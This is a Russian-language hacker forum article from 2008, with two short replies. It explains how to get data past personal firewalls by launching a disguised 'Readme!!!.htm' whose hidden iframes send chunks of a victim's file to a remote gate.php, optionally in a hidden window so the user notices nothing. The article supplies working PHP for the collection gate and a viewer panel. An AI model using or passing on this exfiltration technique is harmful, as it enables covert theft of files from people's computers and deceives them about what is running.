I. Вводная часть Думаю, не имеет смысла говорить, зачем нужно обходить файрволы. В этой небольшой статье я покажу довольно необычный, по моему мнению, достаточно изящный способ их обхода. Заранее предупреждаю – всё нижеизложенное является моими собственными наработками, и их аналогов я не нашёл. Так что, если это уже где-то встречалось, не надо меня ругать… Заранее скажу о минусе данного метода – он годится только для обхода ограничений, связанных с сетевой активностью, так как используется создание процесса, что будет замечено Outpost’ом при настройках уровня локальной безопасности выше «оптимального», но по умолчанию стоит как раз «оптимальный», так что, скорее всего, это прокатит (про KIS не знаю – не проверял, но, вероятнее всего, там то же самое). II. Идея Идея проста до гениальности – так как в системе существует множество программ с разрешённым сетевым доступом, то можно воспользоваться их помощью. Итак, что я хочу реализовать конкретно: запускаем интернет-обозреватель на открытие некоторого адреса, тем самым отправив некоторые данные. III. Реализация А тут уже будет некоторая хитрость … Итак, допустим нам надо узнать содержимое файла “C:\boot.ini” на целевой машине. Для этого поступим так: 1) Разбиваем файл на блоки некоторого размера (т.к. передавать будем их GET-запросом) 2) Записываем файл типа “Readme!!!.htm” примерно такого содержания: PHP: <html>тра-та-та и прочая шапка<body>тра-та-та, спасибо за установку великого программного продукта и т.п. <iframe width=”0” height=”0” style=”visibility: hidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш первый блок данных}&pt={номер части(0)}&num={количество частей}></iframe> <iframe width=”0” height=”0” style=”visibility: hidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш второй блок данных}&pt={номер части(1)}&num={количество частей}></iframe> …. <iframe width=”0” height=”0” style=”visibility: hidden” src=http://server.com/gate.php?rnd={случайный идентификатор}&tx={тут наш последний блок данных}&pt={номер части(n)}&num={количество частей}></iframe> </body></html> 3) Запускаем файл (“explorer.exe Readme!!!.htm”). Тут 2 варианта: либо запускаем в видимом режиме, тогда вылезает эксплорер с нашим красивым уведомлением о верности выбора человека, установившего программу. Это способ для тех, кто боится, что пользователь может оказаться испуганным сообщением о попытке создания процесса, если у него стоит высокий уровень локальной безопасности, но увидев имя Readme!!!.htm согласится на такой поступок. Тут ещё лучше даже заодно засунуть что-нибудь в статус-бар, чтобы не было видно обращений к странному серверу. А второй вариант – в надежде на настройки фаера у пользователя «по умолчанию», то есть игнорирование запуска процессов, можно открыть эксплорер с параметром SW_HIDE, чтобы пользователь ничего не заметил вообще. На этом идея реализации кончается. IV. Файлы для статьи. Тут реализован данный механизм с нормальным (SW_SHOW) открытием обозревателя (на сервере в папке с gate.php и view.php должны существовать подкталоги fin и tmp). gate.php: PHP: <?php $id = $_GET['rnd']; $ip = $_SERVER['REMOTE_ADDR']; $ip[strlen($ip) - 1] = "x"; $ip[strlen($ip) - 2] = "x"; $ip[strlen($ip) - 3] = "x"; $n = $_GET['num']; $pn = $_GET['pt']; $text = $_GET['tx']; ((strstr($id, "/") === FALSE) && (strstr($n, "/") === FALSE)) or die('Fik!'); $handle = fopen("tmp/{$id}_{$n}", 'w'); fwrite($handle, $text); fclose($handle); //file_put_contents(); $i = 0; while (file_exists("tmp/{$id}_{$i}")) $i++; if (--$i != $pn) die(); $s=""; for ($i=0; $i<=$pn; $i++) { $s .= file_get_contents("tmp/{$id}_{$i}"); unlink("tmp/{$id}_{$i}"); } $handle = fopen("fin/{$ip}_{$id}", 'w'); fwrite($handle, $s); fclose($handle); ?> view.php: PHP: <?php if (isset($_GET['del']) && (strstr($_GET['del'], "/") === FALSE)) unlink("./fin/".$_GET['del']); if ($handle = opendir('./fin')) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { echo "<a href='fin/$file'>$file</a> <a href=\"?del={$file}\">del</a><br>\r\n"; } } closedir($handle); }?> Сорцы «клиента» (чистый FASM, а вернее чисто фасмовский RadAsm-проект; в сорцах надо поменять некоторые переменные) Реализация гейта вот этого откомпиленного клиента (грузит ваш файл boot.ini, вы можете его с серва удалить) V. Заключение Вот так вот . Через некоторое время планируется продолжение, описывающее процесс не только загрузки информации на серв, но и с него. Ну что, как говорится, re всем ©73ru5 aka desTiny, 2008. //add Продолжение тут
1. проактивка киса словит) 2. максимальная длина гет запроса 512б так что большой файл ты не передашь. а бот ини вряд ли кого интересут. 3. код немного корявый. за идею +
Я и говорю -для этого разбиваем на части - посмотри внимательно на ссылку из iframe'а. А код хоть и корявый, но работает